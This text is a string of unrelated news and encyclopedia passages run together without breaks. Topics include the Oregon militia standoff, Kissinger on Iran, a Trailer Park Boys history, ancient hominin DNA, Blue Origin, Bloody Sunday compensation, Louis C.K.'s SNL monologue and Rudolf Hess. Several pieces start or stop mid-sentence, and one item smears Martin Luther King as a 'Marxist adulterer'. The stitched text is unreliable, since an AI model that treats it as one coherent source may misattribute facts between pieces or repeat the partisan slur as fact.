This declaration comes after one member of the militia, Blaine Cooper, took to Facebook to request cold weather socks, snacks, energy drinks, snow camo, and more.
The plea for supplies caused a variety of reactions from Twitter.
Sorry Bundy kids, these snacks stay in Jersey. #bestshow2016pic.twitter.com/XjehlwnxPF — The Best Show (@bestshow4life) January 6, 2016
WE THE PEOPLE HEREBY DECLARE: USPS staff may eat all snacks mailed to #Bundy c/o US Post Office at #BurnsOregon. #OregonStandoff #YallQaeda — Patricia McGahan (@BeachcomberNC) January 6, 2016
Planning a takeover of a park for months & didn't plan for snacks?!-Not only are ya bad at militia-ing, you're bad at cub scouting. — Lizz Winstead (@lizzwinstead) January 4, 2016
Ammon Bundy and his supporters came out to Burn, Oregon in response to the resentencing of Dwight, 73, and Steven Hammond, 46. The father-and-son ranchers were found guilty of arson in 2012 for starting a fire on their own property that burned into federal property.
Dwight was sentenced to three months in prison while Steven was sentenced to, and served, one year and a day. However, the Department of Justice appealed their sentence and forced the men to return to prison to complete five-year minimums.
For the birds: Oregon standoff pits feds against rural Americans https://t.co/Rp3GDNKvQKpic.twitter.com/TU68zaqUgI — RT America (@RT_America) January 6, 2016
Both Dwight and Steven Hammond have turned themselves in and their family attorney has told the county sheriff that Ammon Bundy does not represent the Hammond family or their interests.WASHINGTON, DC- SEPTEMBER 03: Henry A. Kissinger, author of his new book World Order, photographed in his office in Washington, D.C. on September 03, 2014. (Photo by Marvin Joseph/The Washington Post via Getty Images)
Former Secretary of State Henry Kissinger said that Iran "is a bigger problem than ISIS."
In an interview with NPR that was released on Saturday, Kissinger explained that because Iran has a stronger footing in the Middle East, it has a greater opportunity to create an empire.
"The borders of the settlement of 1919-'20 are essentially collapsing," he said. "That gives Iran a very powerful level from a strategic point of view. I consider Iran a bigger problem than ISIS. ISIS is a group of adventurers with a very aggressive ideology. But they have to conquer more and more territory before they can became a strategic, permanent reality. I think a conflict with ISIS — important as it is — is more manageable than a confrontation with Iran.
The Kissinger interview comes just a day after the BBC reported that Iran's Supreme Leader had ordered his military to cooperate with the U.S. in the fight against ISIS forces. CNN had a similar report.
Kissinger's warning about Iran is unsurprising given his past skepticism about its nuclear program. On Friday, nuclear talks went south after Iran failed to provide key information on its past nuclear work by an agreed-upon deadline.
Earlier this week, ISIS drew international fury when it released a video allegedly showing the beheading of an American journalist. Kissinger told NPR that he would "strongly favor a strong attack on ISIS" in response.This article is about the television series. For movies based on the series, see Trailer Park Boys § Films
Trailer Park Boys is a Canadian mockumentary television series created and directed by Mike Clattenburg. The show focuses on the misadventures of a group of trailer park residents, some of whom are ex-convicts, living in the fictional Sunnyvale Trailer Park in Dartmouth, Nova Scotia. The television series, a continuation of Clattenburg's 1999 film of the same title, premiered on Showcase in 2001.[1] There are three films in the series: The Movie, released on October 6, 2006; Countdown to Liquor Day, released on September 25, 2009; and Don't Legalize It, released on April 18, 2014.
The seventh and final season of the series' original run on Showcase ended in 2007, with its final episode, "Say Goodnight to the Bad Guys", premiering as a one-hour special on December 7, 2008.
A few years later, Robb Wells, John Paul Tremblay, and Mike Smith, the actors who portrayed Ricky, Julian, and Bubbles, purchased the rights to the show from the original producers and created their own internet streaming network, "Swearnet". In March 2014, Swearnet began co-producing new seasons of the show, partnering with the streaming service Netflix to produce an eighth and ninth season, as well as three new specials. Season 8 premiered on September 5, 2014, followed by Season 9 on March 27, 2015.
Later that year, the show received the green light for two more seasons and began production on Season 10. During that time, the Canadian government granted the cast and crew money to help produce the new season and a new spin-off series. Season 10 premiered on Netflix on March 28, 2016.[2][3]
A new 8-part series, Trailer Park Boys: Out of the Park: Europe, became available for streaming on Netflix on October 28, 2016. A vlog series on Swearnet called State of the Union confirmed a second season taking place in the United States. Titled Trailer Park Boys: Out of the Park: USA, it premiered on Netflix on November 24, 2017.
Season 11 premiered on March 31, 2017.[4] On June 19, 2017, the cast confirmed that the twelfth season had been greenlit and that filming had begun. The final season of the show premiered on Netflix on March 30, 2018. Season 13 is set to be released on March 31, 2019 as an animated series.
History [ edit ]
In 1998 director, Mike Clattenburg, wrote and directed a short film titled One Last Shot, which was shot in black-and-white. The film followed the exploits of two friends, Rob (Robb Wells), and Gary Williams or GW (John Paul Tremblay), although it is not based in the same setting as Trailer Park Boys, but rather the first time Robb, John Paul, and John Dunsworth worked together. In the 1999 feature film, Trailer Park Boys, the character Julian states to the camera in the film that he wanted his life to be documented after receiving a telephone psychic's prediction that he would die soon. He hoped that the film would deter others from the life of crime he had chosen.
The feature film was shown at the Atlantic Film Festival in 1999, and it caught the attention of producer, Barrie Dunn, who saw the potential for a TV series. Clattenburg and Dunn, along with Wells and Tremblay, worked on a proposal for a 13-episode season of the show and traveled to Toronto to pitch the show to The Comedy Network. After being turned down, they suddenly decided to pitch the show to Showcase before returning home to Nova Scotia.
They found that the network was receptive, and sent them back with a commitment to a first season, with the provision that a second experienced producer, (which ended up being Michael Volpe) be brought on board to assist the team. The first six 30-minute episodes were then written and filmed. Some modifications were made to the characters and storyline for the series, and more humor was added to the series in comparison to the film.
The biggest change from film to series was the addition of Mike Smith's "Bubbles" character, who was originally developed for the earlier short film The Cart Boy; a film that Smith, Wells, Tremblay, and Clattenburg worked on together in 1995. Smith's character soon grew from a recurring character to one of the show's primary protagonists (although in the earlier film, "Bubbles" was the name of Smith's character's cat). Trailer Park Boys resided with Showcase for its first seven seasons.[5] Beginning with the eighth season, the series was released through Netflix.
Early seasons were shot in various trailer parks in Nova Scotia, but the crew was not welcome to film again due to complaints from residents. Space was purchased and a functional trailer park set was built in Dartmouth for later seasons, giving the staff more freedom than at previous locations. When the series returned from hiatus beginning with Season 8, it was shot at Bible Hill Estates Trailer Park in Truro, Nova Scotia, and every subsequent since then has been filmed at that location.
Plot [ edit ]
Episodes revolve around Sunnyvale Trailer Park residents Ricky, Julian, and Bubbles trying to make money through petty crimes while avoiding the police. Their schemes are complicated by the interference of the park's vindictive alcoholic supervisor Jim Lahey and his assistant and lover, Randy. Ricky and Julian's incompetence is rivaled by Lahey's drunken ineptitude.
Throughout the series, Ricky and Julian end up in and out of jail, with most of their schemes collapsing into failure. Later seasons adopted a cyclical formula: each season finale featured the boys' schemes succeeding, and their future looking optimistic, while the next season's premiere would show them explaining how everything had gone wrong in the interim. Fans learned to expect that seasons would somehow end with some or all of the main characters going to jail.
Characters [ edit ]
Each of the characters has his or her own trademark mannerism or trait. Julian often takes a leadership role and devises schemes, all while holding a Cuba Libre on the rocks in his hand. Ricky believes himself to be dumb, and his speech is often laced with malapropisms that fans call "Rickyisms"; he lives in a dilapidated 1975 Chrysler New Yorker, grows marijuana, and has a short temper that often gets him in trouble. Bubbles wears spectacles that magnify his eyes to an unusual extent, drives a go-kart, lives in a shed with many cats, and gets upset when Ricky and Julian fight; he is the least likely to face any repercussions for the trio's illegal activities. Ricky's wheelchair-bound father Ray is a former trucker who is secretly committing disability fraud and is a gambling addict. Alcoholic trailer park supervisor and ex-cop Jim Lahey usually attempts to derail the Boys' schemes, and nearly always shoehorns the word "shit" into his cautionary metaphors that fans call "Shitisms"; his ex-wife Barbara is the trailer park manager. Randy is Jim's assistant and lover; he is always shirtless unless forced to wear a shirt, and is frequently taunted for his large gut and addiction to cheeseburgers.
There are also three pairs of primary minor characters. Cory and Trevor are hapless best friends who assist and idolize Ricky and Julian, often unaware that they will serve as scapegoats when Ricky and Julian's plans inevitably go awry. Lucy is the mother of Ricky's daughter Trinity, while Sarah moved in with Lucy after Ricky was imprisoned. J-Roc is a white aspiring rapper who genuinely thinks he is black; he is rarely seen without his friend T, who actually is black.
Main cast members [ edit ]
Departures [ edit ]
Cory and Trevor [ edit ]
In addition to his role as Trevor, Michael Jackson was also a production assistant behind the scenes for seasons 2–6. During this time, Jackson and many of the other actors on the show were paid minimum scale (wage) despite the show's growing success. Tension grew between the producers (Barrie Dunn and Mike Volpe) and Jackson due to working conditions and creative disagreements. Jackson gave notice that he would fulfill his contract up to and including season 6, as he was close friends with the series' creator Mike Clattenburg.[6]
The producers and writers did not directly address the issue of Cory and Trevor leaving the show at the end of season 6 even though they knew of their impending departure for some time beforehand.[7] Their departure from Sunnyvale was addressed in season 7 and their names have been part of the continuing storyline. Cory Bowles returned for Season 8 as part of the show's Netflix reboot and has since appeared in each following season, with Jacob Rolfe's Jacob Collins character filling Jackson's role as Cory's sidekick. Jackson chose not to reprise Trevor, maintaining that he had moved on. In season eight, Cory explained that he and Trevor were exploring the world, but got separated on a subway train in New York City. In season 10, Bowles is credited as a director on some episodes.[8]
Ray [ edit ]
Barrie Dunn, who played Ricky's father Ray, was last involved with the franchise in the 2014 film Don't Legalize It, which served as a farewell to the character, as Dunn no longer wished to be on the show.
Phil Collins aka Mustard Tiger [ edit ]
Richard Collins, who portrayed Jacob Collins's father Phil Collins in Seasons 4-7, died of a heart attack on April 15, 2013. His last involvement with the franchise was also the film.
Lucy [ edit ]
On April 2, 2016, Lucy DeCoutere announced that she was resigning from the show after co-star Mike Smith was arrested for allegedly assaulting a woman (All charges were dropped within one month due to lack of evidence). [9] Later that day, publicist Sheila Roberts said that DeCoutere had informed the show's producers a few weeks before Smith's arrest that she would not be returning for the show's next season.[10]
On April 20, 2016, Jonathan Torrens announced that he had also left the show, tweeting, "Playing J-Roc has truly been one of the greatest pleasures & privileges of my life. But it's time to hang up the ol' do-rag."[11][12][13][14] In response to fans' reactions, he tweeted, "Truly moved & humbled by all your best wishes and kind words. The real legacy of Trailer Park Boys will always be the loyalty of its fans."[15] Torrens' last appearance as J-Roc with the rest of the cast was on "Trailer Park Boys Podcast" episode 33, released March 18, 2016.[16]
Jim Lahey [ edit ]
On October 16, 2017, actor John Dunsworth, who played Jim Lahey, died after a short illness.[17] Filming for the twelfth season had begun in June 2017 and concluded in August.[18][19]
Style [ edit ]
The series is shot in a mockumentary style (including the use of long takes), featuring handheld camera work. Characters often speak directly to crew members, who frequently become involved in the plot. In one episode, a crewman is shot; in another, one is tased by Jim Lahey. The show is loosely scripted, with much of the dialogue ad-libbed from basic plot points. These aspects are intended to evoke a sense of realism. The trio have stated that many of the show's most popular moments were not in the script.
Furthering the myth that Trailer Park Boys is nonfiction, many of the actors (particularly Robb Wells, John Paul Tremblay, Mike Smith, John Dunsworth and Patrick Roach) often make public appearances in character.
Reception [ edit ]
The show became very successful in many countries. The show's lead trio formerly toured with Our Lady Peace, with whom Bubbles sings his trademark song "Liquor and Whores".[20] On January 13, 2017, Trailer Park Boys and Bubbles finally released "Liquor & Whores" as an EDM track produced by Canadian Multi-Platinum producer, Marc Mysterio on Sony Music.[21][22] The Trailer Park Boys have also appeared in music videos with The Tragically Hip, while Bubbles has appeared with George Canyon and Snow, and they have been presenters at numerous award shows – always in character. Several famous artists appear on the show, such as Alex Lifeson from Rush in "Closer to the Heart," singer Rita MacNeil in the season four finale "Working Man," Brian Vollmer from Helix, Sebastian Bach from Skid Row, and the late singer-songwriter Denny Doherty of The Mamas and the Papas in the season seven finale "A Shitriver Runs Through It".
The show is a great success for the cable network Showcase, where it is the network's highest-rated Canadian series. It airs in Australia on The Comedy Channel, in the United Kingdom and Spain on Paramount Comedy, in the Republic of Ireland on 3e, in Iceland on SkjárEinn, in New Zealand on TV 2, in Israel on Xtra Hot, in the Netherlands on Comedy Central Netherlands, in Denmark on DR2, in Portugal on SIC Radical, in Germany on Comedy Central Germany, in Finland on Nelonen, in Bulgaria on Nova Television, and in Poland on Comedy Central Polska. In the United States, BBC America formerly aired a censored version of the show, but it is no longer part of their lineup. On February 5, 2009, satellite provider DirecTV began airing the series in the United States on its channel The 101 Network, uncensored, at the rate of two episodes per week. DirecTV aired the entire seven-season run of Trailer Park Boys, plus both specials.[23] All episodes aired on DirecTV are in 16:9 widescreen format (although not in High Definition resolution), as opposed to the standard definition 4:3 aspect DVD releases of the first five seasons. It is also available on Netflix.[24]
Actors John Dunsworth, John Paul Tremblay, and Robb Wells can be seen in the 2002 movie Virginia's Run starring Gabriel Byrne and Joanne Whalley. John Dunsworth plays a local cop while John Paul Tremblay and Robb Wells play active and verbal townsmen similar to their Trailer Park Boys characters. Actors are credited as the cop for John Dunsworth, J.P. for John Paul Tremblay (credits as J.P. Tremblay), and Robb Wells as Rob. The movie was filmed in Shelburne, Nova Scotia.
Episodes [ edit ]
Films [ edit ]
The Movie [ edit ]
The second Trailer Park Boys movie to be produced (the first being the original black and white production that sparked the series), Trailer Park Boys: The Movie (also known as The Big Dirty) was released on October 6, 2006, and distributed by Alliance Atlantis. Ivan Reitman produced the movie, Mike Clattenburg directed it, and Clattenburg and Robb Wells co-wrote it. It was nominated for a Genie Award for Best Motion Picture, but did not win. This movie and later on the second one also paved the way for its popularity in the U.S.
Countdown to Liquor Day [ edit ]
The franchise's second feature film, Trailer Park Boys: Countdown to Liquor Day, was released in Canada on September 25, 2009.[25] The movie serves as sequel to the last televised episode, "Say Goodnight to the Bad Guys".
Don't Legalize It [ edit ]
In May 2012, Mike Clattenburg announced on his Twitter page that a third and final film in the Trailer Park Boys franchise was in development.[26] Principal photography for the third and final installment was scheduled to begin in October 2012, but was pushed back to March 2013;[27] filming began on March 17, 2013.[28] On April 20, 2013, the production moved to Ottawa, Ontario, Canada, where filming took place at Parliament Hill during the 4/20 weekend.[29][30] Entertainment One announced that the third and final film, titled Trailer Park Boys 3: Don't Legalize It, would be released in Canada on April 18, 2014.[31] The film picks up shortly after where Season 7 of the TV show left off, and centres around Ricky's concerns that if the Canadian government legalized and controlled marijuana sale, it would put his grow-op out of business.[32]
Specials [ edit ]
Live in Fuckin' Dublin [ edit ]
While touring the Ricky, Julian and Bubbles Community Service Variety Show, footage from the trio's May 9, 2013 performance at the Olympia Theatre in Dublin, Ireland was collected for a concert film. The live show contains an introduction and epilogue shot in the format of a Trailer Park Boys episode, with the premise that the boys are arrested in Dublin and forced to serve community service by staging a puppet show discouraging drug and alcohol use. Some elements from the television series return in Live in Fuckin' Dublin, such as Alex Lifeson's (from the band Rush) feud with Ricky, Ricky's inadvertently gluing objects to his nose, and Conky's many resurrections. The film was released on June 1, 2014. The season 8 episode "Community Service and a Boner Made with Love" contains a similar premise.
Live at the North Pole [ edit ]
On November 15, 2014, Netflix released a new 90-minute special, titled Trailer Park Boys: Live at the North Pole. This is a concert film of their choice. It was filmed on location at the State Theater in Minneapolis, Minnesota.
DVD releases [ edit ]
Alliance Home Entertainment has released all seven seasons of the original run of Trailer Park Boys on DVD in Region 1.
DVD Name Episodes Release date The Complete First and Second Seasons 13 May 27, 2003[33] The Complete Third Season 8 April 6, 2004[34] The Complete Fourth Season 8 April 12, 2005[35] Christmas Special 1 November 15, 2005[36] The Complete Fifth Season 10 May 9, 2006[37] The Complete Sixth Season 6 May 8, 2007[38] The Complete Seventh Season 10 May 6, 2008[39] The Complete Series 55 June 16, 2009[40] The Complete Collection 55 October 11, 2011[41] Dressed All Over (The Complete Collection) 55 eps., 2 specials and 2 films November 5, 2013[42]
Continuation of Trailer Park Boys [ edit ]
The Trailer Park Boys franchise has continued past the original run of the television series, almost without interruption. The cast and crew took the summer of 2008 off, but a new special one-hour episode titled Say Goodnight to the Bad Guys aired in Canada on December 7, 2008.[43] Series creator Mike Clattenburg announced on November 12, 2008 that the special would be followed by a sequel movie scheduled for Canadian release on September 25, 2009 (Countdown to Liquor Day), which would be "the end of Trailer Park Boys," and that no additional seasons will be made.[44]
In January 2009, the boys were in character at selected venues nationally including Massey Hall in Toronto. They performed the Ricky, Julian and Bubbles Community Service Variety Show. The premise was that they were fulfilling court order community service and must put on a puppet show aimed at demonstrating the dangers of using alcohol and drugs.
In November 2009, Wells, Tremblay, and Smith announced that they would be starring in a new television series called The Drunk and On Drugs Happy Fun Time Hour, which aired on Action in 2011. The series was given an order of six episodes. The actors also served as writers and executive producers for the series.[45]
In March 2010, the boys did a show in character at Massey Hall in Toronto called The Ricky, Julian and Bubbles, Drunk, High and Unemployed Tour.[46] The tour expanded throughout 2010 and 2011 with live theatre performances worldwide including the U.S., Canada, UK, and Ireland, with further performances in Australia and New Zealand in 2012.
In November 2010, the boys did a sketch for Funny or Die, called MashUpPiece Theater: The Wire / Trailer Park Boys.[47]
In February 2012, Wells, Tremblay, and Smith played guest roles on the FX animated series, Archer, as a radical Nova Scotian separatist terrorist, a compatriot disguised as a Mountie, and a real Mountie, respectively.
In October 2012, Barrie Dunn officially announced a third and final Trailer Park Boys film. Filming began in March 2013 and ended in late April. The film was released in Canadian theaters on April 18, 2014.
Two Trailer Park Boys actors and one guest star died in early 2013; Brian Huggins, who portrayed Shitty Bill, in March,[48] and both Richard Collins[49] and guest star Rita MacNeil[50] in April.
On July 4, 2013, it was announced that Tremblay, Wells, and Smith acquired the rights to Trailer Park Boys and confirmed it would return with an eighth season. Principal production took place from July–September 2013,[51] back on location in an existing mobile home community in Truro, Nova Scotia. In late September 2013, Mike Smith announced on the SwearNet Facebook page that the cast and crew had also returned to the location in September to shoot content for two new specials, that Season 8 had been "rough cut" into ten episodes, and that SwearNet was seeking network deals in addition to its plans to webcast the new material.
On December 27, 2013, Smith confirmed on Twitter that a ninth season will go into production in spring of 2014. Although creator Mike Clattenburg, along with producers Barrie Dunn and Michael Volpe, are not involved, they gave their blessings to the trio and are credited as the original creators on the revived series.
On March 5, 2014, Netflix announced that the two new seasons of Trailer Park Boys will air exclusively on their streaming service later this year. In addition to season 8 and 9, the network will also air three specials (Community Service Special, Swearnet Special, Trailer Park Boys Xmas) and two new films (Trailer Park Boys 3: Don't Legalize It and Swearnet) after their theatrical release.[3]
A new 80-minute special titled Trailer Park Boys: Live In Fuckin' Dublin debuted on June 1, 2014, |
damaged mtDNA. The resulting sequence gave the researchers a few surprises as it revealed ancient secrets about hominin evolution. This is one of the oldest genomes ever recovered; which is doubly impressive since these bones were not preserved through permafrost.
The bones recovered from Sima look somewhat similar to Neanderthals, but their mtDNA shows they are more closely related to Denisovans. This raises questions about the evolutionary relationships between these groups. The Sima remains were from a population that may have been ancestral to Neanderthals and Denisovans or there could have been a yet-unknown group that caused the shared genetic information.
The success of finding the code for such old mtDNA opens the door for genomes of other ancient fossils to be sequenced. Future research will also try to obtain mtDNA from other individuals at the Sima site, as well as trying to recover nuclear DNA which reveal many secrets of the lives of this extinct human population.Give credit where credit is due. The New York Times has nailed a Democrat's hide to the wall in revealing that U.S. Sen. John Walsh of Montana plagiarized a hefty chunk of his thesis for a Master's degree from the U.S. Army War College. The Times' graphic is most damning.
Good for the Times. Also to its credit, the Times did not duck the subject, back in the 1990s, of a more famous man's plagiarism: Plagiarism Seen by Scholars In [Martin Luther] King's Ph.D. Dissertation, By Anthony De Palma, November 10, 1990
But one would love to have seen King get the same graphic treatment that Walsh received to show just how extensive the Marxist adulterer's literary thefts were. King didn't just steal material for his doctoral degree, which was bad enough. He even ripped off passages for his infamous "I Have A Dream Speech" and "Letter From Birmingham City Jail."FACEBOOK
What was it like to live in Manhattan Chinatown in the 1940s and 50s? What are the untold stories from this unique era of American immigration? Brooklyn-based freelance writer and editor Eveline Chao, whose stories have appeared on RollingStone.com, The Daily Beast,and, is working on a project to document and preserve the Disappearing Stories From Manhattan's Chinatown Through a series of print stories and recorded oral histories, Eveline will document stories about Manhattan Chinatown from Chinese-American immigrants who grew up or socialized there during the 1940s, '50s, and '60s. From record hops to the World's Fair, stickball games to the Miss Chinatown pageant, their memories fill in the gaps from an era when Asian America was largely invisible."The folks from that era remember World War II, the Yankees beating the Dodgers in the 1949 World Series, and the 1965 World's Fair," Eveline says. "They remember playing outside their parents' laundries and restaurants and shops, squirming in their seats at Chinese school, and attending classes at PS 23.""As they got older, they went to record hops and church socials, Jaycees dinners and Saturday night dances at the Chinese Restaurant Association. They went bowling at the Roxy, ordered lime rickeys and egg creams at Lonnie's, and embraced the Latin dancing craze at the Palladium. And, the highlight of the evening was always a late-night snack, or'siu yeh,' on Mott Street.""Help me preserve the stories of America's Chinese immigrants."Some of the stories will be published as first-person narratives accompanied by audio clips and old family photos. Some stories will be told in third person and organized around specific events, places, or themes. And some will be collected for historical purposes, but remain unpublished at the request of the interviewee.Eveline is raising money for this project through Beacon, a platform for funding journalism. Beacon's matching funds program will contribute an extra $25 for each individual donor that supports the project. When the project reaches 100 backers, Beacon will contribute $2500.These funds will enable Eveline to collect and publicize stories, travel out of state to meet with subjects who no longer live in New York, hire assistants to help transcribe interviews, help subjects scan old family photos, and cover any costs associated with audio recording equipment and sound editing software.For further details about the project, and to make a pledge, go hereA Blue Origin rocket could take tourists to space by April 2019.
Bob Smith, the CEO of the space outfit founded by Amazon (AMZN) mastermind Jeff Bezos, mentioned the new timeline during the first meeting of the newly revamped National Space Council on Thursday.
That's a later date than Blue Origin had touted in the past. Just a year ago, the company's president, Rob Meyerson, said the first launch with passengers would be sometime in 2018.
In an emailed statement to CNNMoney on Thursday, Blue Origin insisted its "internal dates have not shifted," but added, "we will fly humans when we're ready, and not a moment sooner."
The National Space Council, which has been revived under the Trump administration after a two-decade hiatus, includes Vice President Mike Pence and various other government officials. Its goal is to help coordinate space exploration and national security efforts by the public and private sectors.
Smith briefly spoke to the panel about Blue Origin's plans to take paying customers to space.
"Within the next 18 months we're going to be launching humans into space," he said. "These won't be astronauts...these will be everyday citizens."
Related: Jeff Bezos' new rocket has its first customer
A 2019 launch would put Blue Origin's first space tourism trip slightly behind its competitor SpaceX, which is headed by Tesla (TSLA) CEO Elon Musk.
SpaceX plans to take two tourists on a trip around the moon sometime in the last quarter of 2018. SpaceX confirmed Thursday that date hasn't been adjusted since the company first announced those plans back in February.
(Note, however, that Musk is notorious for setting ambitious deadlines -- and blowing through them.)
In the grand scheme of things, SpaceX and Blue Origin have very different strategies for space tourism.
For Blue Origin, sending paying customers to space is part of the bedrock of it early business strategy.
The company wants to conduct frequent launches to the edge of space -- where passengers can briefly experience weightlessness and marvel at the view. (So far, the company has only conducted unmanned test launches of its New Shepherd rocket.)
The goal is to make it relatively cheap for an Average Joe to enjoy spaceflight, though Blue Origin hasn't yet indicated exactly how much tickets will cost. The revenue it makes from ticket sales is supposed to help fund the company's future endeavors, such as launching satellites into space.
Bezos also told reporters in April that he sells about $1 billion worth of his Amazon shares every year in order to keep Blue Origin stocked with cash, according to Reuters.
Related: Blue Origin unveils space capsule with 'largest windows in space'
SpaceX is in some sense doing the opposite. The company already has a lucrative business delivering satellites to space and sending cargo to the International Space Station.
Those efforts are meant to help fund its ultimate goal: Send perhaps the bravest space tourists to live on Mars.
Meanwhile, SpaceX's moon trip appears to be a one-off commitment the company made to two people. SpaceX has not revealed how much it's charging the passengers -- though it's undoubtedly a significant sum, likely many millions.
Blue Origin does have plans to build a much more powerful rocket, called New Glenn, that's capable of competing with SpaceX for satellite launch contracts.
Smith, the Blue Origin CEO, said Thursday that the factory where New Glenn will be manufactured will likely be completed by the end of the year. But even after it's built, the company will have to complete the long, tedious process of certifying the rocket to fly.
Bezos has said the first launch of that rocket will be in 2020.The British government is to pay compensation to the victims and relatives of those killed in the 1972 Bloody Sunday crackdown in Northern Ireland.
The amount of the payments has not been disclosed, nor the basis on which compensation will be granted, the Ministry of Defense said in a statement to the lawyers representing victims' families.
A ministry spokeswoman said: "We acknowledge the pain felt by these families for nearly 40 years, and that members of the armed forces acted wrongly.
"For that, the government is deeply sorry. We are in contact with the families' lawyers and where there is a legal liability to pay compensation we will do so."
Bloody Sunday marked one of the darkest chapters of the decades-old sectarian unrest in Northern Ireland known as the "Troubles".
The Saville Report found that all victims were unarmed
Exhaustive investigation
Thirteen people were shot dead by British soldiers in the town of Londonderry after they had gathered for an unauthorized protest march for greater civil rights. A 14th victim died weeks later in hospital.
British soldiers had claimed the protesters, most of whom were Catholic, were brandishing firearms and nail bombs. An initial investigation carried out after the incident largely exonerated the soldiers.
However, in 1998, then-prime minister Tony Blair announced a new examination into the killings on the back of fresh evidence. After 12 years of exhaustive investigation, current Prime Minister David Cameron said on the release of a final report into Bloody Sunday that all those shot had been unarmed.
Cameron told parliament the Saville Report unequivocally showed there was no justification for the shooting of civilians.
The 5,000-page report revealed that the troops continued to shoot as the protesters fled or lay fatally wounded on the ground. One father was shot as he went to tend to his injured son.
"What happened on Bloody Sunday was both unjustified and unjustifiable. It was wrong," Cameron said last year. "For that, on behalf of the government, and indeed our country, I am deeply sorry."
Author: Darren Mara (AP, AFP, Reuters)
Editor: Rob TurnerOne Twitter user called it the "unfunniest, most offensive 'SNL' monologue" ever.
Louis C.K.'s Saturday Night Live monologue has stirred up controversy.
The Louie star hosted the NBC sketch series' season-40 finale this weekend, where he delivered a stand-up routine featuring jokes about child molesters, racism and the tension in the Middle East.
C.K. said that there was a child molester who lived in his neighborhood when he was growing up in the 1970s. "He didn't like me — I felt a little bad," he said.
The comedian tried to imagine why child molesters would still commit the crime. "From their point of view, it must be amazing, for them to risk so much," he said. He then acknowledged the controversial nature of the material, adding, "It's my last show probably."
Indeed, a number of Twitter users were not pleased with what they heard. One person called it the "unfunniest, most offensive SNL monologue" ever, while someone else tweeted that her "heart aches for humanity" because of the monologue.
Not all Twitter users condemned the monologue, with radio personality Gregg "Opie" Hughes among those praising it, referring to it as "another great set" from the performer.
Video of the monologue, along with tweets about it, can be seen below.
I grew up on SNL. Huge Louis C.K. fan. I know they both push the line. I get that. But that opening monologue... — Bun B (@BunBTrillOG) May 17, 2015
That was the unfunniest, most offensive #SNL monologue I've ever seen. Racism and child molestation? Really, Louis. #SNL40Finale — John DeMayo (@JohnnyDeMayo) May 17, 2015
Louis CK closed out that #SNL monologue like pic.twitter.com/ooH8DMQVFP — Daniel José Older (@djolder) May 17, 2015
Worst #SNL opening sketch ever? Most pointless & unfunny monologue about racism & molestation ever? Switching to an #amyschumer rerun. — Ken Rudin (@kenrudin) May 17, 2015
Those defending the #LouisCK monologue on @nbcsnl are either predators themselves, or victims of sexual abuse. My heart aches for humanity. — pamela_jayne (@pamela_jayne) May 17, 2015
Louis CK's monologue. BRUH. — Jordan Ramirez (@JRAM_91) May 17, 2015
Yeah, that opening monologue just made me feel yucky. I think I'll just go to bed instead of watching the rest. #snl — Joya Reusch Weinroth (@Joyadee) May 17, 2015
Email: Ryan.Gajewski@THR.com
Twitter: @_RyanGajewskiRemote Pacific boarding school runs out of food
Updated
A boarding school on a remote Pacific Island in the Federated States of Micronesia has run out of food to feed its nearly 300 students.
Weipat High School on Onoun, one of the remote outer islands of the Federated States of Micronesia state of Chuuk, provides education and accommodation to around 270 students from all the islands around the region.
Map: Onoun Island is part of Chuuk state in the Federated States of Micronesia
The Principal, Father Floren Akkin, has told Radio Australia the school ran out of food last week.
"The school has been cancelled until we are stabilised here," he said.
"I'm sending the kids to the community, to the families, to find food there - the community is so generous in giving us something."
"The problem is the population here is around 400 or 500 people - plus the 274 students - and I don't think the community can feed these people every day for every meal."
Father Floren says the school was given provisions at the start of the year, but that wasn't enough.
He says the Chuuk education department has promised to send another 25 bags of rice, but there's no sign when they will arrive by sea.
"When will that come? We're not sure yet," he said.
"We have nothing definite yet on transportation. I'd say that the closest island is about 35 miles away...so they need transportation, they need boats.
"I'm hoping they'll send also some vegetable and meats to supplement this rice - here we only have bananas, taro and breadfruit."
ABC
Topics: human-interest, education, food-and-cooking, micronesia-federated-states-of, pacific
First postedImage caption Hess had been in prison with Hitler in the 1920s
Previously unseen notes of an army psychiatrist reveal how the British tried to get inside the mind of Germany's Deputy Fuhrer, Rudolf Hess, during World War II in an attempt to get inside the mind of the Nazis.
On a rainy summer afternoon, on 2 June 1941, Dr Henry Dicks arrived at the heavily fortified MI6 safe house in Surrey, having been called to examine Hess, who was a British prisoner.
He was led up to the first floor and into a guarded room for a one-on-one meeting with the man who had been second in line - after Hermann Goering - to succeed Adolf Hitler.
By trying to understand Rudolf Hess and his loyalty to Hitler, Dicks hoped to glean useful insights into what was seen as the collective madness of the Nazi leadership.
In the media, Hess had appeared square-jawed and strong, often pictured striding side-by-side with Hitler. In the flesh, that illusion was soon shattered.
"The first impression is undoubtedly of a schizoid psychopath," Dicks wrote in the notebook, which has only recently been made public by his family.
Find out more The Psychiatrist and the Deputy Fuhrer is on BBC Radio 4, Monday 9 April at 20:00 BST Or catch up later via iPlayer
"Compared to the photos in the press, the face is that of some tormented beast. The face is bestial, ape or wolf, that was at one time or might have been quite charming as a youth."
As their talks progressed, Dicks was struck by Hess and Hitler's admiration of the English, despite Germany having the upper hand in the war at that time.
"I believe they are trying to frighten us but are themselves frightened of us," he wrote.
"They have always envied us and aped us in their life forms, dress, correctness etc... They are at least, in part, ambivalently in love with us. We are that elusively superior race they so frantically want to be themselves."
Dicks thought an affection for the British may have been why Hess chose to make his solo flight to Scotland on 10 May 1941, in what he said was a peace mission.
Hitler said he had no knowledge of what Hess was trying to do and the Nazi Party soon declared him insane.
Rudolf Hess Image caption Hess suffered bouts of amnesia during the Nuremberg trials 1894: Born in Alexandria, Egypt
Born in Alexandria, Egypt 1914-18: Serves during WWI, ending war as lieutenant
Serves during WWI, ending war as lieutenant 1920: Joins Hitler's fledgling Nazi party
Joins Hitler's fledgling Nazi party 1923: Imprisoned with Hitler and becomes his secretary
Imprisoned with Hitler and becomes his secretary 1933: Becomes deputy of the Nazi Party after Hitler's rise to power
Becomes deputy of the Nazi Party after Hitler's rise to power 1941: Seeks peace with Britain by flying solo to Scotland; detained in Britain
Seeks peace with Britain by flying solo to Scotland; detained in Britain 1946: Convicted of crimes against peace at Nuremberg Trials and given life sentence
Convicted of crimes against peace at Nuremberg Trials and given life sentence 1947: Transferred to Spandau Prison in Berlin
Transferred to Spandau Prison in Berlin 1987: Found hanged
Some historians, though, believe that Hess was seeking to implement the Fuhrer's wish to make a deal with the British so the Germans - who were about to invade Russia - wouldn't have to fight on two fronts.
The opportunity to examine Hess gave Britain a chance to try to make sense of the forces driving the Nazis. To understand the "root of this insanity", says historian Prof Richard Overy of Exeter University.
